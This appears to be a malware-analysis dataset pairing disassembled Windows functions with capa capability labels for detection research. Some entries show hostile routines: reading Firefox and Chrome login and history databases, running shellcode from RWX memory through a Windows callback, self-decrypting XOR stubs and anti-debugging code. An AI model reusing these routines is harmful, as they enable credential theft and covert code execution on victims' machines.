joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001a658
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x620]
sub rsp, 0x720
mov rbx, rdx
mov rdi, rcx
lea rdx, [rbp - 0x50]
mov r8d, 0x208
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, rbx
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str..default_release
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14001a774
lea rdx, [rbp + 0x3fc]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.places.sqlite
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.14001ac30
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001a774
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001983c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140019e6c
test eax, eax
jne 0x14001a774
lea r9, [0x140019498]
mov qword [rsp + 0x20], rdi
lea r8d, [rax + 1]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001995c
mov rcx, qword [rsp + 0x30]
call fcn.140002438
xor eax, eax
jmp 0x14001a779
mov eax, 1
lea r11, [rsp + 0x720]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret

Function at 0x14001a900
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rbx, rdx
mov rdi, rcx
lea rdx, [rbp - 0x50]
mov r8d, 0x208
lea rcx, str.APPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, rbx
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x50]
call fcn.14001ac30
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001a9a7
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001983c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140019e6c
test eax, eax
jne 0x14001a9a7
lea r9, [0x1400196c4]
mov qword [rsp + 0x20], rdi
lea r8d, [rax + 1]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001995c
mov rcx, qword [rsp + 0x30]
call fcn.140002438
lea r11, [rsp + 0x2c0]
xor eax, eax
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14001a9c0
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x2a8]
sub rsp, 0x390
lea rax, [0x14001cb70]
xor ebx, ebx
movups xmm0, xmmword [rax]
lea r8, [rbp - 0x50]
mov r14, rcx
movups xmm1, xmmword [rax + 0x10]
mov ecx, 0x80
mov r15, rdx
movups xmmword [r8], xmm0
mov esi, ebx
lea rdi, [rbp - 0x50]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x60], xmm0
add r8, rcx
movups xmm0, xmmword [rax + 0x70]
add rax, rcx
movups xmmword [r8 - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
mov rax, qword [rax + 0x40]
movups xmmword [r8 + 0x20], xmm1
movups xmmword [r8 + 0x30], xmm0
mov qword [r8 + 0x40], rax
cmp word [rbp - 0x50], bx
je 0x14001ab71
mov r8d, 0x208
lea rdx, [rbp + 0x80]
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov rdx, r15
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.User_Data_
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rdi
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, str.Login_Data
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x80]
call fcn.14001ac30
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14001ab68
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001983c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call fcn.140019e6c
test eax, eax
jne 0x14001ab68
lea r9, [0x140018b5c]
mov qword [rsp + 0x20], r14
lea r8d, [rax + 1]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14001995c
mov rcx, qword [rsp + 0x30]
call fcn.140002438
mov rcx, rdi
mov esi, 1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
movsxd rcx, eax
lea rdi, [rdi + rcx*2]
cmp word [rdi], bx
jne 0x14001aa80
test esi, esi
sete bl
mov eax, ebx
jmp 0x14001ab76
mov eax, 1
lea r11, [rsp + 0x390]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14001ac30
Capabilities:
Check if file exists
Get file size
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0xd0
mov r15, rdx
mov byte [rsp + 0x40], 0x88
mov rbx, rcx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 2
mov ecx, 1
movsxd rdx, eax
call fcn.14000240c
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
and qword [rsp + 0x38], 0
or r9d, 0xffffffff
and qword [rsp + 0x30], 0
mov r8, rbx
mov dword [rsp + 0x28], eax
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x14001ad6f
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_OpenFile]
mov rcx, rdi
movsxd rsi, eax
call fcn.140002438
cmp rsi, 0xffffffffffffffff
je 0x14001ad6f
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
cmp eax, 0xffffffff
je 0x14001ad6f
lea ecx, [rbx + 1]
call fcn.140002460
mov rbp, rax
test rax, rax
je 0x14001ad6f
and qword [rsp + 0x28], 0
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], ebx
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
test rax, rax
je 0x14001ad6f
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r8d, ebx
mov rcx, rbp
mov rdx, rax
mov rdi, rax
call fcn.14001ade8
mov rcx, rdi
mov qword [r15], rbx
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rbp
jmp 0x14001ad71
xor eax, eax
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62

Function at 0x1408ec916
Capabilities:
Execute anti-debugging instructions

Disassembly:
push r14
jmp 0x14094ed86
movsxd rax, eax
add rdi, rax
jmp 0x14090dae3
add eax, 0x53a27f9f
cmp sil, r13b
bswap eax
stc
cmp r11b, 0x16
push r9
ror r9w, cl
xor dword [rsp], eax
stc
rcl r9b, cl
bsr r9w, bx
pop r9
jmp 0x1408ff0f8
jmp rdi
push rdi
cmovb di, si
movsx rdi, bx
push r10
not di
movzx di, bpl
push rcx
push rsi
push rdx
cwd
movsxd r10, edi
push r15
push r8
mov r10b, 0x42
push r9
movsx rdx, si
cmove dx, di
cdq
push r12
cwd
mov r10b, r14b
push rax
rdtsc
cdqe
pushfq
push r13
push r11
push rbx
rcl r10b, cl
movsx ebx, r11w
push rbp
rcr dil, cl
bt ebx, 0x70
movabs rsi, 0
sal dx, 1
sar dil, cl
sal r8w, cl
push rsi
test r9b, bl
mov rbx, qword [rsp + 0x90]
sub r8w, 0x23ff
xor ebx, 0x49914a69
add ebx, 0x52d33f54
add r8, r10
cbw
xadd r8b, r9b
xor ebx, 0x1f5c1476
not ebx
rdtsc
add rbx, rsi
movabs r8, 0x100000000
bt dx, si
btc r10w, 0xd0
lea rbx, [rbx + r8]
mov r10, rsp
sub rsp, 0x180
btr ax, cx
and rsp, 0xfffffffffffffff0
cwde
mov r9, rbx
movzx rdx, r12w
movabs rdx, 0
sbb al, 0x9c
sub r9, rdx
sar dil, 0xea
lea rdi, [0x14094ee64]
sub rbx, 4
mov eax, dword [rbx]
cmc
xor eax, r9d
cmp r9d, r12d
test r8b, r8b
sub eax, 0x71741c96
test rsi, rdx
clc
neg eax
test r13w, 0x7b27
jmp 0x14090a220
Function at 0x1004024f0
Capabilities:
Terminate process

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
mov dword [0x10040918c], 2
mov r12, rcx
mov ebx, edx
mov rdx, rcx
mov ecx, 2
call sub.msys_2.0.dll_tcgetattr
test eax, eax
js 0x100402560
movdqu xmm0, xmmword [r12]
mov byte [0x100409140], 1
movaps xmmword [0x100409160], xmm0
movdqu xmm1, xmmword [r12 + 0x10]
movaps xmmword [0x100409170], xmm1
mov rax, qword [r12 + 0x20]
mov qword [0x100409180], rax
mov eax, dword [r12 + 0x28]
mov dword [0x100409188], eax
mov eax, dword [0x10040918c]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov rdx, r12
mov ecx, 1
mov dword [0x10040918c], 1
call sub.msys_2.0.dll_tcgetattr
test eax, eax
jns 0x100402518
mov dword [0x10040918c], 0
xor ecx, ecx
mov rdx, r12
call sub.msys_2.0.dll_tcgetattr
test eax, eax
jns 0x100402518
test bl, bl
je 0x100402620
lea rcx, str._dev_tty
mov edx, 2
call sub.msys_2.0.dll_open
mov dword [0x10040918c], eax
mov ecx, eax
test eax, eax
jns 0x100402640
call sub.msys_2.0.dll___errno
mov ebx, dword [rax]
mov ecx, ebx
call sub.msys_2.0.dll_strerror
mov r12, rax
mov rax, qword [0x100405790]
mov rsi, qword [rax]
call sub.msys_2.0.dll___getreent
lea r9, str.terminal_attributes
lea rdx, str._s:__s:__s_n
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x20], r12
mov r8, rsi
call sub.msys_2.0.dll_fprintf
cmp byte [0x100409140], 0
jne 0x100402655
call sub.msys_2.0.dll___getreent
mov ecx, 0xa
mov rdx, qword [rax + 0x18]
call sub.msys_2.0.dll_fputc
lea ecx, [rbx + 4]
call sub.msys_2.0.dll_exit
nop
call sub.msys_2.0.dll___getreent
mov rcx, qword [rax + 0x10]
call sub.msys_2.0.dll_fileno
mov dword [0x10040918c], eax
jmp 0x100402557
mov rdx, r12
call sub.msys_2.0.dll_tcgetattr
test eax, eax
jns 0x100402551
jmp 0x1004025bc
mov ecx, dword [0x10040918c]
lea r8, [0x100409160]
mov edx, 3
call fcn.100402980
jmp 0x100402604

Function at 0x100497b06
Capabilities:
Encode data using xor

Disassembly:
movabs byte [0x16fe7ebb7f447d47], al
mov dl, 0x76
xor byte [rbp - 0x5c032eef], ch
lahf
sbb cl, 0xbe
sub byte [rdi - 0xb7b1d13], ch
invalid
mov eax, 0xbea9be87
stosb byte [rdi], al
jns 0x100497a98
or dword [rdx], ebx
invalid
Function at 0x140029bcc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001d2a4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001d2a4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140029d1c
cmp rax, 0xffffffffffffffff
je 0x140029d1c
xor edi, edi
test rbp, rbp
jle 0x140029cc7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001fbd0
mov rbx, rax
test rax, rax
jne 0x140029c54
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140029cbd
mov edx, 0x8000
mov ecx, r14d
call fcn.14001ac0c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001df80
cmp eax, 0xffffffff
je 0x140029c9d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029c64
mov edx, r15d
mov ecx, r14d
call fcn.14001ac0c
jmp 0x140029cbd
cmp byte [rsi + 0x38], dil
je 0x140029cb4
cmp dword [rsi + 0x34], 5
jne 0x140029cb4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140029cbd
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001b970
jmp 0x140029d30
jns 0x140029d30
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001d2a4
cmp rax, 0xffffffffffffffff
jne 0x140029ce8
cmp byte [rsi + 0x30], dil
je 0x140029d30
mov edi, dword [rsi + 0x2c]
jmp 0x140029d30
mov ecx, r14d
call fcn.1400190c8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029d30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029d30
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029d29
mov eax, dword [rsi + 0x2c]
jmp 0x140029d2e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001d2a4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x14002ae20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ae48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14002ae48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1ae08a0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1ae08aa
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1ae08d3
pop rbp
sub rbp, 0x33
sub rbp, 0x16e08a0
sub rsp, 0x20
jmp 0x1ae08f2
mov rax, 0x16e08a0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffffcc771ec5
xor byte [rax], dl
inc rax
dec rcx
jne 0x1ae0911
jmp 0x1ae0928
lea ecx, [rsp + rbp + 0x4e]
stc
invalid
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000c008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000c008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000c008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
mov edx, 0x174
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x174
lea rdx, [0x140003040]
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memmove
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 4]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesA]
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x14000193c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001986
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001986
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001986
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001986
cmp dword [rcx + 0x84], 0xe
jbe 0x140001986
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001988
xor al, al
add rsp, 0x28
ret
Function at 0x1800015d0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
cmp byte [0x18039d4b0], 0
jne 0x180001677
mov dword [rsp], 0x160629be
mov dword [rsp + 4], 0x5b0b030b
mov dword [rsp + 8], 0xf445b
mov word [rsp + 0xc], 1
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x20]
nop dword [rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add cl, 0x62
xor cl, byte [rsp + rax + 1]
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 1], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0xc
jb 0x180001610
lea rax, [0x18039d4b0]
mov byte [rsp + 0xd], 0
mov r8, rax
lea rdx, [rsp + 1]
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
mov byte [r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x180001660
add rsp, 0x18
ret
lea rax, [0x18039d4b0]
add rsp, 0x18
ret

Function at 0x180001690
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
cmp byte [0x18039c718], 0
jne 0x180001737
mov dword [rsp], 0x1a0f2be9
mov dword [rsp + 4], 0x43061e0c
mov dword [rsp + 8], 0x18175c43
mov word [rsp + 0xc], 0x19
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x20]
nop dword [rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add cl, 0x6a
xor cl, byte [rsp + rax + 1]
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 1], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0xc
jb 0x1800016d0
lea rax, [0x18039c718]
mov byte [rsp + 0xd], 0
mov r8, rax
lea rdx, [rsp + 1]
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
mov byte [r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x180001720
add rsp, 0x18
ret
lea rax, [0x18039c718]
add rsp, 0x18
ret

Function at 0x180001750
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
cmp byte [0x18039d3c0], 0
jne 0x1800017f7
mov dword [rsp], 0x347653a9
mov dword [rsp + 4], 0x243b3b58
mov dword [rsp + 8], 0x61606f
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x20]
nop word [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
add cl, 4
xor cl, byte [rsp + rax + 1]
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 1], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0xa
jb 0x180001790
lea rax, [0x18039d3c0]
mov byte [rsp + 0xb], 0
mov r8, rax
lea rdx, [rsp + 1]
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
mov byte [r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x1800017e0
add rsp, 0x18
ret
lea rax, [0x18039d3c0]
add rsp, 0x18
ret
Function at 0x180001810
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
cmp byte [0x18039d430], 0
jne 0x1800018b7
mov dword [rsp], 0xe0e8cc6c
mov dword [rsp + 4], 0xbafcf2c7
mov dword [rsp + 8], 0xe1e8a5b8
mov word [rsp + 0xc], 0xe2
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x20]
nop dword [rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
sub cl, 0x7d
xor cl, byte [rsp + rax + 1]
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 1], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 0xc
jb 0x180001850
lea rax, [0x18039d430]
mov byte [rsp + 0xd], 0
mov r8, rax
lea rdx, [rsp + 1]
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
mov byte [r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x1800018a0
add rsp, 0x18
ret
lea rax, [0x18039d430]
add rsp, 0x18
ret

Function at 0x1800018d0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x18
cmp byte [0x18039c790], 0
jne 0x180001977
xor eax, eax
mov dword [rsp], 0xd6defe46
mov byte [rsp + 0xa], al
mov dword [rsp + 4], 0xd3988787
mov word [rsp + 8], 0xd5d4
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
nop word [rax + rax]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsp + 0x20]
sub cl, 0x4f
xor cl, byte [rsp + rax + 1]
mov rax, qword [rsp + 0x20]
mov byte [rsp + rax + 1], cl
mov rax, qword [rsp + 0x20]
inc rax
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp rax, 9
jb 0x180001910
lea rax, [0x18039c790]
mov byte [rsp + 0xa], 0
mov r8, rax
lea rdx, [rsp + 1]
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
mov byte [r8], cl
lea r8, [r8 + 1]
test cl, cl
jne 0x180001960
add rsp, 0x18
ret
lea rax, [0x18039c790]
add rsp, 0x18
ret
Function at 0x180001990
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x30
mov dword [rax - 0x18], 0x2234061c
mov rdi, rcx
mov dword [rax - 0x14], 0x62f3d29
mov dword [rax - 0x10], 0x372b3939
mov word [rax - 0xc], 0x11
mov qword [rsp + 0x48], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x48]
add cl, 0x45
xor cl, byte [rsp + rax + 0x21]
mov rax, qword [rsp + 0x48]
mov byte [rsp + rax + 0x21], cl
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp rax, 0xc
jb 0x1800019d0
mov byte [rsp + 0x2d], 0
call fcn.1800015d0
mov rcx, qword gs:[0x58]
mov rsi, rax
mov edx, dword [0x18039b468]
mov eax, 4
mov rbx, qword [rcx + rdx*8]
add rbx, rax
mov ecx, dword [rbx]
cmp dword [0x18039d510], ecx
jle 0x180001a63
lea rcx, [0x18039d510]
call fcn.180360f8c
cmp dword [0x18039d510], 0xffffffff
jne 0x180001a63
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x18039d510]
mov qword [0x1803a15b8], rax
call fcn.180360f2c
mov eax, dword [rbx]
cmp dword [0x1803a1558], eax
jle 0x180001a9c
lea rcx, [0x1803a1558]
call fcn.180360f8c
cmp dword [0x1803a1558], 0xffffffff
jne 0x180001a9c
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x1803a1558]
mov qword [0x1803a1560], rax
call fcn.180360f2c
mov rcx, rsi
call qword [0x1803a15b8]
mov rcx, rax
lea rdx, [rsp + 0x21]
call qword [0x1803a1560]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
mov qword [rdi], rax
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret